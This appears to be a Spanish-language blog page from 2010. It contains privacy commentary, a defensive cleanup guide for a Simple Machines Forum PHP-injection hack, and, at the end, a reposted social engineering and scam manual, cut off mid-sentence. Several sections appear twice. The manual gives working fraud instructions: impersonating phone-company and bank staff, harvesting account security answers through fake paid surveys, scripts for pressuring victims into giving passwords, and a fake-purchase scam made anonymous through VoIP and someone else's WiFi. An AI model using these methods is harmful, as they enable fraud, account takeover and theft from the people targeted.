Hace dos meses lei una noticia en la que una persona muy famosa en los Estados Unidos de America, acudio a corte a denunciar a personas que le difamaban con comentarios en Youtube (Propiedad de Google Inc al igual que blogger) Resulta que la pelea era contra Google .inc y google perdio en el juicio por lo que el juez ordeno a Google darle Nombres y Direcciones de las Personas que difamban a la victima, y aquellos que estan confiados de que ellos no se registran con los nombres reales en las webs, les dire algo:
"NO se Confien, La gente que esta detras de esas compañias es mas lista que uno, tienen mas tecnologia que uno, ademas nosotros les facilitamos las cosas porque... Navegamos en Internet, somos usuarios de algunas cosas etc.
Quizas cuando estas compañias amenazen nuestra privacidad buscaremos a ser Anonimos, no usando internet, celular ni medio por el cual nos pueda guardar en sus registros como lo mencione en el tema anterior, clasificados en ordenes de busquedas y lo que vemos.
A la par de Microsoft. Google me esta asustando un poco mas, ultimamente en el Correo Electronico por Supuesto, Para crear un blog o un Gmail Google te pide Ingreses tu Numero de Celular para mandarte un Codigo si es blog o una llamada de voz con codigo si es Gmail, eso realmente te pone en que pensar y es que estrategias para hacerte pensar otra cosa hay muchas, como por ejemplo la que me aparecio esta mañana en Gmail, (cuenta que tengo desde hace un año) "Que Pasaria si pierdes tu cuenta un dia" Ingresa tu Numero de Celular para recuperar tu cuenta si un dia la pierdes.
Creo que estoy prefiriendo Microsoft, por que a la hora de registrar un nuevo msn, no me pide numero de telefono, me pide una direccion de correo electronico alternativa que es lo suficientemente apropiado a pedir datos personales que no le deben interesar por motivos de seguridad.
Pero el principal Modelo a Seguir es Facebook este si te pide Numero de Telefono, Nombre Completo, Direccion Completa, Empresas y Donde Estudiastes y mucho mas, por eso las demas compañias van copiando esas ideas que tuvi Facebook que solo ellos saben porque motivos son, aunque no es malo pensar que alguna organizacion pueda vigilarnos camuflajeadamente a travez de una red social, quien sabe.
Si yo lo pienso y ellos no entonces estoy mas avanzado que ellos, porque ellos tienen el poder y el dinero para hacerlo, dudo que no lo hagan.
Hasta aqui llega mi articulo y espero no seguirme topando con mas problemas como este, que barbaridad hasta que puntos estamos llegando, ni que estemos adquiriendo algun host o servicio de pago para dar todos los datos.
jueves, 25 de noviembre de 2010
miércoles, 25 de agosto de 2010
Realmente Existe el Anonimato para tener Privacidad
Para navegar por internet sin el problema de que los sitios que visitas obtengan informacion de tu PC, hay muchas maneras de navegar anonimamente y proteger tu privacidad, asi como evitar ser victimas de virus peligrosos a travez de internet.
Pero crees que esos metodos son seguros? ademas puedes decir que ese no es problema para ti si no haces cosas malas a travez de internet.
El internet sera en el futuro segun mis calculos y mi teoria, la opcion mas simple para buscar personas, grandes programadores, hackers y gente que no usa mucho las redes sociales pueden decir que estan a salvo de ser victimas del capitalismo informatico de las grandes empresas y de las organizaciones que estan detras de ellas para verificar tu privacidad.
Es que generalmente corrio un rumor a travez de internet que "X" Organizaciones estaban detras de algunos sitios web, donde vigilaban la supuesta privacidad que ellos te ofrecen.
El punto es este, un sitio web puede decirte que ellos protegen tu privacidad, pero de otras personas y a ti que te protege de ellos?
No es algo malo que te den opciones para proteger tu privacidad de personas que no conoces, es algo magnifico, pero lo que no te dan a entender es que ellos si vigilan tu privacidad.
El principal punto de debate fueron las redes sociales, ademas de ser un factor que genera perdida de tiempo para la sociedad segun grandes programadores, hackers y profesionales de la informatica, se especulo que las redes sociales son un punto en el que cualquier persona puede obtener datos tuyos, son los que mas opciones te dan para proteger tu privacidad pero tu que sabes si ellos no estan al tanto de lo que tu haces.
El asunto no es las redes sociales solamente, que les garantiza a los grandes programadores, hackers y profesionales de la informatica que la unica manera en que vigilan tu privacidad es en redes sociales y sitios de suscripcion etc.
Hay muchas maneras que desde hace meses vengo observando como las grandes compañias de internet te van dando pistas de qu ete vigila, aun asi cuando navegas anonimamente, por no tener cockies almacenadas en tu PC que te puedan afectar de algun intruso, ellos siempre entran donde quieren.
Vamos a ver punto por punto como estan las cosas en la actualidad, como me puedo dar cuenta de que todo lo que hago es vigilado y no tengo privacidad.
Primero: El Navegador Como puedes estar tan seguro que todos lo que buscas desde tu navegador de internet no va dirgido a una base de datos donde estan clasificados todos los usuarios de internet por sus busquedas.
Es decir, busca pornografia a diario desde tu buscador, toma en cuenta que las paginas que entres, los datos que ingreses, tu IP, (Dinamica o Fija) hay una opcion de rastreo siempre, los cuales son los sitios que visitates, tienen tus datos, todo eso va a un expediente donde van clasificados como dije anteriormente por parametros de busqueda.
Como dije; buscas pornografia, tus datos van a un expediente con la clasificacion de, Persona pornografica, ahi van tus busquedas frecuentes y etc.
buscas tareas, bien por ti aunque siempre tus datos van a un expediente donde te clasifican como estudiante.
Bueno ya les di la idea de como van las cosas en los navegadores, NO?
Segundo: E-mail Quien en este mundo no tiene acceso al correo electronico ademas de ser una opcion donde mas ataques puedes recibir para que violen tu privacidad, no estes tan seguro que la compañia con la que tienes tu correo electronico no vigila tu privacidad y asi como el navegador ellos te forman un expediente.
Siempre que reviso mis e-mails empresariales, me fijo en las recomendaciones de busquedas que me ofrece la compañia con la que tengo mi correo electronico, esto es un riesgo para los que usan el e-mail como medio para conexiones empresariales.
Las recomendaciones que siempre me aparecen cuando abro un mensaje en la bandeja de entrada son de acuerdo a las palabras que vienen en el mensaje.
Ellos me ofrecen una excelente opcion de protegerme contra amenazas de virus y phishing para que no roben mi contraseña y terceras personas obtengan mis datos y violen mi privacidad, pero ellos siempre te vigilan.
Que te garantiza que cada palabra que escribas, cada chat que hagas con una persona no vaya dirigido a una base de datos que ellos tengan.
Tercero: Redes Sociales Siempre seguira en la cuerda floja el tema de las redes sociales, algunas redes dicen que protegen tu privacidad pero ellos te piden que ingreses tu numero telefonico, tus datos de estudio, nombre completo, (nada de nicks), tus ocupaciones, profesion y muchos datos privados, etc.
Con que objetivo? que tanto necesitas poner? la verdad que la privacidad de sus usuarios jamas la podran proteger de terceras personas, es el mismo usuario que se debe proteger, pero respecto a la estupidez de muchos usuarios que ingresan sus datos completitos y aceptan como amigos/as a personas desconocidas, dudo mucho que lo logren, asi esas personas tienen acceso a su perfil, a eso me refiero, no es recomendable aceptar personas desconocidas, no se sabe que es el objetivo de esas personas en las redes sociales, una vez un amigo me pidio que le repara su PC, de casualidad cuando procedi a elaborar un respaldo de informacion de su PC me di cuenta sin intencion que poseia una gran cantidad de fotos de chicas que yo conocia, las bajaba de los perfiles de ellas.
En lugar de darles demasiadas opciones que de nada servirian, deberian implementar de igual manera consejos para que sepan protegerse de personas desconocidas que envian solicitudes de amistad con el proposito desconocido de la persona que le acepta.
Muchas fotografias de chicas circulan por internet como pan caliente, en sitios que son de descargas y de pornografia, nada profesional, solo son propiedad de personas sin oficios que atender pero con la vision de que su sitio sea de los mas visitados por su contenido, eso les da ranking y mas opciones de adquirir publicidad bien pagada.
Cuarto: Las Conexiones y Servicios Quiza no me entiendan muy bien en este 4to punto, pero voy a tratar de ser muy especifico ya que es muy importante que no mencione nombres y que ustedes sepan el riesgo que hay en nuestra privacidad.
Muchos disponemos de E-mail, Cuenta en alguna Red Social, servicios extras que nos ofrecen estas opciones como el tener una cuenta en X Compañia, esta nos puede ofrecer otros beneficios como conectarte automaticamente tus estados de animo a la red social, asi va la cosa, ademas de esa opcion hay muchos mas beneficios que te ofrecen pero no puedo mencionar nombres asi que ustedes mas o menos han de cranearse la idea que les quiero influir.
Lo que me llamo la atencion es algo muy extraño, entro a mi cuenta "X" donde me aparecen las opciones de mi Correo, perfil, albunes de fotos etc. Veo que en mi perfil aparacia una fotografia? Como? Yo jamas habia subido una fotografia, puedo estar muy seguro, despues me dirijo a una opcion de conexiones a otros servicios que me ofrece la red en la que estoy, veo un mensaje que decia, quieres agregar tus sitios en los datos de tu perfil?
BINGO!!! Me aparecen mis tres Sitios WEB?? Como?? No es posible como saben que son mi sitios?
Despues de un analisis me di cuenta que en base a lo que escribia en mi estado, de perfil, o las conexiones que habia hecho a esos sitios, la compañia obtuvo acceso a ellos, si eran mios o no?
Por esa simple razon me los sugerieron y me di cuenta que no tengo ni un poquito de privacidad, no hay anonimato, si tienes datos en la red que permitan tu rastreo.
Aunque tu te protejas de que los sitios no extraigan coockies de tu ordenador, aunque no puedan con tu IP, tus datos son la clave.
Esta Entrada no esta finalizada, voy a editarla muy pronto, asi que espero me tengan paciencia y os abra la mente.
Pero crees que esos metodos son seguros? ademas puedes decir que ese no es problema para ti si no haces cosas malas a travez de internet.
El internet sera en el futuro segun mis calculos y mi teoria, la opcion mas simple para buscar personas, grandes programadores, hackers y gente que no usa mucho las redes sociales pueden decir que estan a salvo de ser victimas del capitalismo informatico de las grandes empresas y de las organizaciones que estan detras de ellas para verificar tu privacidad.
Es que generalmente corrio un rumor a travez de internet que "X" Organizaciones estaban detras de algunos sitios web, donde vigilaban la supuesta privacidad que ellos te ofrecen.
El punto es este, un sitio web puede decirte que ellos protegen tu privacidad, pero de otras personas y a ti que te protege de ellos?
No es algo malo que te den opciones para proteger tu privacidad de personas que no conoces, es algo magnifico, pero lo que no te dan a entender es que ellos si vigilan tu privacidad.
El principal punto de debate fueron las redes sociales, ademas de ser un factor que genera perdida de tiempo para la sociedad segun grandes programadores, hackers y profesionales de la informatica, se especulo que las redes sociales son un punto en el que cualquier persona puede obtener datos tuyos, son los que mas opciones te dan para proteger tu privacidad pero tu que sabes si ellos no estan al tanto de lo que tu haces.
El asunto no es las redes sociales solamente, que les garantiza a los grandes programadores, hackers y profesionales de la informatica que la unica manera en que vigilan tu privacidad es en redes sociales y sitios de suscripcion etc.
Hay muchas maneras que desde hace meses vengo observando como las grandes compañias de internet te van dando pistas de qu ete vigila, aun asi cuando navegas anonimamente, por no tener cockies almacenadas en tu PC que te puedan afectar de algun intruso, ellos siempre entran donde quieren.
Vamos a ver punto por punto como estan las cosas en la actualidad, como me puedo dar cuenta de que todo lo que hago es vigilado y no tengo privacidad.
Primero: El Navegador Como puedes estar tan seguro que todos lo que buscas desde tu navegador de internet no va dirgido a una base de datos donde estan clasificados todos los usuarios de internet por sus busquedas.
Es decir, busca pornografia a diario desde tu buscador, toma en cuenta que las paginas que entres, los datos que ingreses, tu IP, (Dinamica o Fija) hay una opcion de rastreo siempre, los cuales son los sitios que visitates, tienen tus datos, todo eso va a un expediente donde van clasificados como dije anteriormente por parametros de busqueda.
Como dije; buscas pornografia, tus datos van a un expediente con la clasificacion de, Persona pornografica, ahi van tus busquedas frecuentes y etc.
buscas tareas, bien por ti aunque siempre tus datos van a un expediente donde te clasifican como estudiante.
Bueno ya les di la idea de como van las cosas en los navegadores, NO?
Segundo: E-mail Quien en este mundo no tiene acceso al correo electronico ademas de ser una opcion donde mas ataques puedes recibir para que violen tu privacidad, no estes tan seguro que la compañia con la que tienes tu correo electronico no vigila tu privacidad y asi como el navegador ellos te forman un expediente.
Siempre que reviso mis e-mails empresariales, me fijo en las recomendaciones de busquedas que me ofrece la compañia con la que tengo mi correo electronico, esto es un riesgo para los que usan el e-mail como medio para conexiones empresariales.
Las recomendaciones que siempre me aparecen cuando abro un mensaje en la bandeja de entrada son de acuerdo a las palabras que vienen en el mensaje.
Ellos me ofrecen una excelente opcion de protegerme contra amenazas de virus y phishing para que no roben mi contraseña y terceras personas obtengan mis datos y violen mi privacidad, pero ellos siempre te vigilan.
Que te garantiza que cada palabra que escribas, cada chat que hagas con una persona no vaya dirigido a una base de datos que ellos tengan.
Tercero: Redes Sociales Siempre seguira en la cuerda floja el tema de las redes sociales, algunas redes dicen que protegen tu privacidad pero ellos te piden que ingreses tu numero telefonico, tus datos de estudio, nombre completo, (nada de nicks), tus ocupaciones, profesion y muchos datos privados, etc.
Con que objetivo? que tanto necesitas poner? la verdad que la privacidad de sus usuarios jamas la podran proteger de terceras personas, es el mismo usuario que se debe proteger, pero respecto a la estupidez de muchos usuarios que ingresan sus datos completitos y aceptan como amigos/as a personas desconocidas, dudo mucho que lo logren, asi esas personas tienen acceso a su perfil, a eso me refiero, no es recomendable aceptar personas desconocidas, no se sabe que es el objetivo de esas personas en las redes sociales, una vez un amigo me pidio que le repara su PC, de casualidad cuando procedi a elaborar un respaldo de informacion de su PC me di cuenta sin intencion que poseia una gran cantidad de fotos de chicas que yo conocia, las bajaba de los perfiles de ellas.
En lugar de darles demasiadas opciones que de nada servirian, deberian implementar de igual manera consejos para que sepan protegerse de personas desconocidas que envian solicitudes de amistad con el proposito desconocido de la persona que le acepta.
Muchas fotografias de chicas circulan por internet como pan caliente, en sitios que son de descargas y de pornografia, nada profesional, solo son propiedad de personas sin oficios que atender pero con la vision de que su sitio sea de los mas visitados por su contenido, eso les da ranking y mas opciones de adquirir publicidad bien pagada.
Cuarto: Las Conexiones y Servicios Quiza no me entiendan muy bien en este 4to punto, pero voy a tratar de ser muy especifico ya que es muy importante que no mencione nombres y que ustedes sepan el riesgo que hay en nuestra privacidad.
Muchos disponemos de E-mail, Cuenta en alguna Red Social, servicios extras que nos ofrecen estas opciones como el tener una cuenta en X Compañia, esta nos puede ofrecer otros beneficios como conectarte automaticamente tus estados de animo a la red social, asi va la cosa, ademas de esa opcion hay muchos mas beneficios que te ofrecen pero no puedo mencionar nombres asi que ustedes mas o menos han de cranearse la idea que les quiero influir.
Lo que me llamo la atencion es algo muy extraño, entro a mi cuenta "X" donde me aparecen las opciones de mi Correo, perfil, albunes de fotos etc. Veo que en mi perfil aparacia una fotografia? Como? Yo jamas habia subido una fotografia, puedo estar muy seguro, despues me dirijo a una opcion de conexiones a otros servicios que me ofrece la red en la que estoy, veo un mensaje que decia, quieres agregar tus sitios en los datos de tu perfil?
BINGO!!! Me aparecen mis tres Sitios WEB?? Como?? No es posible como saben que son mi sitios?
Despues de un analisis me di cuenta que en base a lo que escribia en mi estado, de perfil, o las conexiones que habia hecho a esos sitios, la compañia obtuvo acceso a ellos, si eran mios o no?
Por esa simple razon me los sugerieron y me di cuenta que no tengo ni un poquito de privacidad, no hay anonimato, si tienes datos en la red que permitan tu rastreo.
Aunque tu te protejas de que los sitios no extraigan coockies de tu ordenador, aunque no puedan con tu IP, tus datos son la clave.
Esta Entrada no esta finalizada, voy a editarla muy pronto, asi que espero me tengan paciencia y os abra la mente.
miércoles, 21 de abril de 2010
Vulnerabilidad en Foro SMF
Bueno navengando en San Googe encontre a nimiedad.com un articulo sobre los foros Simple Machines Forum (SMF) siendo objeto de un hacking masivo automatizado debido a una grave vulnerabilidad que permite inyectar código php en la carpeta que utilizan los usuarios para subir avatares. Ahora mismo pueden haber decenas de foros infectados (de todas las versiones, incluidas las actualizadas). Probablemente muchos de los propietarios de dichos foros ni siquiera saben que todos los archivos .php del servidor donde se encuentra su foro tienen un código malicioso inyectado, ya que el único síntoma visible inicial es que desaparecen algunos avatares del foro SMF.
El mecanismo de hacking funciona mediante el registro automático en el foro de un usuario que sube un avatar en formato .jpg que contiene un código php con el que se conecta a una página desde la cual se producen nuevas inyecciones de código. Esto crea en el servidor tres archivos llamados style.css.php, s.php, y dg.php. Además, a todos y cada uno de los archivos con extensión .php del servidor donde esté alojado el foro SMF se les añade en su parte superior un trozo de código php codificado en base64. En principio parece que el objetivo de este hacking es el spam, aunque podría tener otro tipo de aplicaciones maliciosas.
¿CUÁLES SON LOS SÍNTOMAS?
Lo primero que se suele detectar es que desaparecen algunos avatares en el foro. También aparecen numerosos errores en el log de errores de administración, como "8: Undefined index: dhhag".
¿CÓMO LIMPIAR ESTA INYECCIÓN DE CÓDIGO?
La forma más rápida y segura es volver a una copia de seguridad del servidor anterior a la fecha del hacking (la fecha de registro del usuario "sospechoso" en el foro SMF), ya que no sólo inyecta en el foro sino en todas las carpetas que estén en ese mismo servidor. Si no se dispone de una copia de seguridad completa, el proceso de limpieza sería mucho más tedioso y llevaría estos pasos:
1. Buscar en el foro SMF si se ha registrado un usuario llamado "krisbarteo" o "MagicOpromotion", apuntar la fecha y hora de registro, y borrarlo.
2. Con un programa FTP, ir a la carpeta donde se almacenan los avatares en tu foro SMF, y eliminar el avatar en formato .jpg que coincida con la fecha y hora de registro de "krisbarteo".
3. Abrir cualquier archivo .php infectado con un editor. Arriba veremos el código añadido, codificado en base64. Lo copiamos y lo decodificamos en cualquier decodificador de base64 (por ejemplo, éste). Al decodificarlo veremos la ruta de la carpeta en nuestro servidor que contiene el archivo style.css.php y otros. Copiamos esa ruta, vamos a ella con el FTP y borramos los archivos que haya en ella (que no se correspondan con algo legítimo y que hayan sido modificados en la fecha del hacking o posteriormente).
4. Eliminar de todos los archivos .php del servidor el código malicioso inyectado en la parte superior. Hay varias formas automáticas de hacerlo. Una manual, y bastante tediosa, podría ser descargar todos los archivos y modificarlos de forma masiva utilizando algún programa como Dreamweaver que permita reemplazar masivamente trozos de texto. Al ser el código añadido el mismo en todos los archivos .php, es fácil reemplazarlo de forma masiva sin necesidad de ir editándolos uno por uno. Cuidado con añadir espacios antes de la etiqueta de inicio de código php, ya que daría errores de header. Una vez limpiados los archivos, volver a subirlos mediante ftp.
¿CÓMO PREVENIRLO?
(El 22/05/09 apareció una actualización de seguridad de SMF que soluciona esta vulnerabilidad. No obstante, he dejado los consejos originales ya que son útiles para combatir el spam.)
De momento, y mientras no se ofrezca una solución desde SMF, deberías hacer lo siguiente:
1. Impedir que los usuarios suban avatares y archivos adjuntos (o bien limitarlo sólo a quienes tengan un cierto número de mensajes escritos).
2. Instalar el mod Stop Spammer.
3. Instalar el mod reCAPTCHA.
Y, por supuesto, deberías tener actualizado tu foro SMF a la última versión estable, y todo el software de tu servidor también actualizado (consulta con tu empresa de hospedaje si hay software del servidor al que no tienes acceso).
El mecanismo de hacking funciona mediante el registro automático en el foro de un usuario que sube un avatar en formato .jpg que contiene un código php con el que se conecta a una página desde la cual se producen nuevas inyecciones de código. Esto crea en el servidor tres archivos llamados style.css.php, s.php, y dg.php. Además, a todos y cada uno de los archivos con extensión .php del servidor donde esté alojado el foro SMF se les añade en su parte superior un trozo de código php codificado en base64. En principio parece que el objetivo de este hacking es el spam, aunque podría tener otro tipo de aplicaciones maliciosas.
¿CUÁLES SON LOS SÍNTOMAS?
Lo primero que se suele detectar es que desaparecen algunos avatares en el foro. También aparecen numerosos errores en el log de errores de administración, como "8: Undefined index: dhhag".
¿CÓMO LIMPIAR ESTA INYECCIÓN DE CÓDIGO?
La forma más rápida y segura es volver a una copia de seguridad del servidor anterior a la fecha del hacking (la fecha de registro del usuario "sospechoso" en el foro SMF), ya que no sólo inyecta en el foro sino en todas las carpetas que estén en ese mismo servidor. Si no se dispone de una copia de seguridad completa, el proceso de limpieza sería mucho más tedioso y llevaría estos pasos:
1. Buscar en el foro SMF si se ha registrado un usuario llamado "krisbarteo" o "MagicOpromotion", apuntar la fecha y hora de registro, y borrarlo.
2. Con un programa FTP, ir a la carpeta donde se almacenan los avatares en tu foro SMF, y eliminar el avatar en formato .jpg que coincida con la fecha y hora de registro de "krisbarteo".
3. Abrir cualquier archivo .php infectado con un editor. Arriba veremos el código añadido, codificado en base64. Lo copiamos y lo decodificamos en cualquier decodificador de base64 (por ejemplo, éste). Al decodificarlo veremos la ruta de la carpeta en nuestro servidor que contiene el archivo style.css.php y otros. Copiamos esa ruta, vamos a ella con el FTP y borramos los archivos que haya en ella (que no se correspondan con algo legítimo y que hayan sido modificados en la fecha del hacking o posteriormente).
4. Eliminar de todos los archivos .php del servidor el código malicioso inyectado en la parte superior. Hay varias formas automáticas de hacerlo. Una manual, y bastante tediosa, podría ser descargar todos los archivos y modificarlos de forma masiva utilizando algún programa como Dreamweaver que permita reemplazar masivamente trozos de texto. Al ser el código añadido el mismo en todos los archivos .php, es fácil reemplazarlo de forma masiva sin necesidad de ir editándolos uno por uno. Cuidado con añadir espacios antes de la etiqueta de inicio de código php, ya que daría errores de header. Una vez limpiados los archivos, volver a subirlos mediante ftp.
¿CÓMO PREVENIRLO?
(El 22/05/09 apareció una actualización de seguridad de SMF que soluciona esta vulnerabilidad. No obstante, he dejado los consejos originales ya que son útiles para combatir el spam.)
De momento, y mientras no se ofrezca una solución desde SMF, deberías hacer lo siguiente:
1. Impedir que los usuarios suban avatares y archivos adjuntos (o bien limitarlo sólo a quienes tengan un cierto número de mensajes escritos).
2. Instalar el mod Stop Spammer.
3. Instalar el mod reCAPTCHA.
Y, por supuesto, deberías tener actualizado tu foro SMF a la última versión estable, y todo el software de tu servidor también actualizado (consulta con tu empresa de hospedaje si hay software del servidor al que no tienes acceso).
Ing Social y Estafas Manual by filthywinter
1. Introduccion *
*****************
Antes de iniciarnos en cualquier tecnica retorcida de hacking, tenemos que
centrarnos en el principal fallo de cualquier PC. Por muchos antivirus y
cortafuegos que nos encontremos, hay un "bug" supremo, por encima de todo
eso, y es sin lugar a dudas la estupidez humana.
Mi intencion no es mas que dar un repaso a la ingenieria social con fines
maleficos, para obtener informacion sensible y poder aprovecharnos de esto.
La informacion sensible no es mas que datos personales e "intrasferibles"
de una persona que la identifica y que, lo mas interesante, permite comprar
objetos de valor. Asi mismo adjuntare mis anecdotas a modo didactico, pues
donde haya un buen ejemplo sobran explicaciones.
Espero que disfruteis de la lectura, que nos preservara de muchos fraudes
a traves de Internet y nos instruira basicamente en el mundo del phishing,
las estafas y la obtencion de informacion sensible mediante la ingenieria
social. Lo peor de todo esto es que vais a descubrir que la vida real, las
relaciones entre las personas no es mas que ingenieria social, y veras las
cosas de otro modo...
2. Ingenieria Social *
**********************
El famoso phreaker Kevin Mitnick ya dijo cuatro principios basicos para la
ingenieria social que tienen que hacernos pensar:
1# Todos queremos ayudar
2# El primer movimiento es siempre de confianza hacia el otro
3# No nos gusta decir No
4# A todos nos gusta que nos alaben
No pudo tener mas razon. Siguiendo estos pequenyos principios o, al menos,
entendiendolos desarrollaremos nuestra propia tecnica y la perfeccionaremos.
Cada una tiene la suya, mi especialidad es hacerme pasar por un agente de
Telefonica. Os voy a contar algo...
Recuerdo de las primeras veces que practique ingenieria social en mi vida. Una
tarde llame a un 900 y resulto ser el centro de atencion al menor, seguido de
un contestador. Pulse * y accedi al contestador, que pedia clave de acceso. No
valian tablas ni nada por el estilo, y pedia 4 digitos... mucho trabajo y mucho
tiempo que no tengo. Era un maldito contestador de Telefonica de cualquier
telefono. A la manyana siguiente, llame (porque el contestador salto por llamar
en horario no laboral) y me lo cogio una senorita. La conversacion fluyo
entre ella y yo de una manera muy amena (bueno, ahora Orange) . Yo era un
tecnico de telefonica con un numero de extension (411) que le pregunto si tenian
problemas con el contestador... Y acerte. Podia haberme equivocado, pero todo
fue bien. Prefijando 067 y llamando por PBX, les aparecia como anonimo (o con
el numero del PBX, no hay que fiarse nunca del 067). De una forma u otra, le
pregunte disimuladamente la clave e indiscriminadamente me la dieron. Todo
fue esta tarde diversion. El 900 a partir de las 16.00 se convirtio en una party
para algunos phreakers que conoci en Internet y yo. Un par de dias despues,
cambiaron las claves del contestador (logicamente).
Hay algo importante que debemos tener en cuenta, especialmente cuando nos
hacemos pasar por teleoperadores y intentemos obtener informacion mediante
ingenieria social (en Espanya). Si nuestra victima es alguien de edad
inferior a los 50 anyos, usaremos un tono sudamericano. Seguramente os habeis
dado cuenta que cuando os ha llamado alguna teleoperadora de alguna companyia
es sudamericana. Los "jovenes" estan mas acostumbrados a que les llamen y
sabran que suelen ser sudamericanas. Si el sujeto es mayor de 50 anyos,
usaremos un tono espanyolizado porque, aunque pueda resultar para alguien
racista, confiaran mas en alguien con acento espanyol (ya se sabe que los
mayores son mas propensos a ser un poco xenofobos). Esto lo digo para los
espanyoles, no puedo decir en otros paises porque no se como va en otros.
Es engañar un arte? Claro que si, pero se aprende. Hay una forma buenisima de
conseguir datos de personas por el telefono. El metodo de la encuesta es
fantastico. Creamos una serie de preguntas, nos hacemos pasar por alguna
compania y a preguntar!
3. Que tener en cuenta al llamar *
**********************************
Hay que recordar unas pautas basicas a la hora de llamar. Cuando llamemos
nos sentiremos mal (a no ser que tengas muy pocos escrupulos) y es logico
que las primeras veces nos corte muchisimo. Hay que mentalizarnos.
Al llamar nosotros para un fin tan maquiavelico debemos colocarnos, mentalmente
(para ti mismo y para el) en una fria posicion, porque cuando llamamos nos
sentimos atacantes y creemos que ellos son las pobres victimas. Hay que quitarse
de la cabeza esta idea, porque nos afecta a la voz y a nuestro comportamiento,
empezamos a titubear, nos ponemos nerviosos y nos acaban pillando (o acabamos
colgando, que es lo mas tipico).
Tenemos que meternos en el papel desde primera hora, llamar con un tono natural,
ensayar como vamos a hablar. Conseguir un tono natural solo te costara unas
cuantas llamadas en las que te cogeran y acabaras avergonzado de lo que estas
haciendo, pero piensa friamente y recuerda que no saben quien eres.
Hay que respetar una cosa bastante logica: si te han pillado en un sitio
intentando sacar informacion no deberias volver a intentarlo en el mismo.
Es una buenisima idea apuntar el nombre de quien te ha atendido (en el caso
de que sean operadoras), pero ten muy en cuenta que hablan entre ellas
porque son personas (no seria la primera vez que pasa, mas de una vez me
ha pasado a mi que me digan "no me digas, que te de las claves del contestador
verdad?" al fin y al cabo.
Hay pautas de conducta tipicas de una teleoperadora que podemos usar para
ganarnos la confianza con el cliente, preguntas del tipo "Con quien tengo
el placer de hablar?" nos permite conocer el nombre de la persona con la que
hablamos, ademas de indirectamente reconfortar a la victima por el valor
connotativo ("placer", influimos a la victima a que se quede hablando con
nosotros porque nos gusta hacerlo). Como veis, la psicologia influye mucho
en esto, pero no es lo mas importante. Mas es la observacion de las rutinas
de comportamiento de un teleoperador normal que andarnos con connotaciones.
Tampoco podemos soltar esa frase en cualquier momento. Debemos escoger el
momento adecuado, y eso no puedo decirtelo yo... ni nadie. Lo notaras.
Si tenemos ganada la confianza de la victima, lo tenemos todo casi ganado.
Solo habria que mantener la calma y pensar dos veces (y rapidamente, que es
dificil) las cosas antes de decirlo. Si tenemos la simpatia, obviamente no nos
diran que no.
Otra cosa importante es recordar que la mejor forma de ponernos de "buenos" es
que exista un "malo". Este malo imaginario lo inventaremos, obviamente, y lo
presentaremos como una amenaza hacia nuestra victima. Pero no podemos decir que
alguien ha entrado en su cuenta bancaria y ha comprado un yate, porque no nos
saldria del todo bien. Lo que hay que decir es que llamamos para confirmar la
compra de un yate, con lo que la victima se acojonara bastante. Este mismo
ejemplo lo veremos mas adelante.
Amigos, la practica es importantisima, pero no hay nada como documentarse un
poco antes, llamar a companyias, a particulares... ver como se comportan y anotar
patrones de comportamiento similares para adelantarnos a los actos de la
victima. Esta ultima no esta pensando apenas lo que esta diciendo, mientras que
nosotros lo tenemos perfectamente estudiado y hemos pensado de antemano lo que
debemos hacer en cada caso. Un esquema de posibles respuestas es perfecto.
este se elabora a base de practica: uno llama a un numero pidiendo un proposito
y vemos la respuesta que nos dan las personas. Vamos apuntando mediante flechas,
"lo conseguimos", "no lo conseguimos", "no lo sabe"... De esta forma luego
buscamos respuestas, giros inesperados y frases interesantes para decir. En
resumen, es buscar respuestas a preguntas inesperadas para transformarlas en
preguntas esperadas .
PRACTICA!
Este es un esquema de ejemplo muy basico y tonto, mas que nada para que os
hagais a la idea y podais confeccionar el vuestro propio:
PEDIR CLAVE
A) Da clave ---> EXITO
B) No da clave
b.1) No me fio de usted
b.1.a) Es usted libre, puede pasarse por nuestras oficinas para
facilitarnos la informacion.
b.1.a.1) Da clave ---> EXITO
b.1.a.2) No da clave ---> FRACASO
b.1.b) Sufrira las consecuencias de no facilitarnos los datos pues
el sistema sufrira graves errores a causa de ello.
b.1.b.1) Da clave ---> EXITO
b.1.b.2) No da clave ---> FRACASO
b.2) "Deme telefono, yo me pondre en contacto con ustedes cuando
este mi jefe / encuentre los datos"
b.2.a) No podemos esperar a ello, le esperamos al telefono a
que busque los datos. (no vale para jefe)
b.1.b) No da clave ---> FRACASO
4. La encuesta *
****************
Esta es la mejor forma de obtener informacion. Nos hacemos pasar por la compania
X y decimos que estamos haciendo una encuesta. Como lo mas logico que nos digan
es que no (como siempre hemos hecho todos, especialmente nuestras madres)
decimos que sera remunerada (vamos, que sera pagada) con 5 euros por las
molestias, y que solo durara unos minutos.
Prepararemos un completo cuestionario preguntando todos los datos que
necesitamos. No cometais la imbecilidad de preguntar numero de tarjeta de
credito o cualquier informacion "supra-comprometida", porque creareis un gran
clima de desconfianza. Es interesante preguntar las tipicas preguntas secretas
del Messenger de forma disimulada. Asi si conocemos su Messenger y el nombre
de su por ej. perro, podremos hacernos con el poder de sus cuentas.
Ganaros a vuestra victima, "comedles el culo". Para empezar en el mundo de la
ingenieria social telefonica es una fantastica forma de ensayar frente a una
victima. La fea expresion que arriba he dicho puede ser todo lo ordinaria que
os parezca, pero es la autentica base de la ingenieria social telefonica, y
hay que tenerlo siempre en la cabeza.
5. El ejemplo de la compra no autorizada *
******************************************
Llamamos un dia cualquiera a cualquier hora. Hacemos lo de la encuesta y
sacamos todos los posibles datos (no sospechosos) y los apuntamos. Llamamos
al senyor por la manyana, desde un telefono seguro como por ejemplo llamando
desde programas gratuitos de VOIP (mas adelante hablare en profundidad
sobre este tema) mientras estamos conectados a una WiFi ajena, usando
prefijos anonimizadores o PBX's (o en ultima instancia, una cabina o
telefono ajeno). De repente somos empleados del banco XXXXXXX (previamente
habemos preguntado que banco es el suyo en la encuesta) y llamamos
educadamente al senyor diciendo que llamabamos para la confirmacion de la
compra que ha realizado el "martes" (por decir algo). El senyor se exaltara
diciendo que no ha hecho ninguna compra, y ustedes insistis diciendo
que si, que aparecen sus datos por el importe de 299 euros. Total, deja que
se extranye todo lo que quiera, y tu eventualmente le dices que si lo confirma
o no. El dira que lo canceles, tu intenta entretenerle, necesitamos que este
mas nervioso antes de pedirle los datos. Ponle pegas, que si el cobro ya se
habia realizado, bla bla bla...
Cuando este muy desesperado por que canceles la compra, entonces dile con
tranquilidad que lo vas a hacer. Pon musiquita que se parezca a la de espera
y cortala de repente. Di que espere, que estas comprobando datos, aporrea
el teclado... Ahora viene la parte sensible, "Senyor NOSEKE, por motivos de
seguridad usted nos tiene que facilitar sus datos ahora por telefono
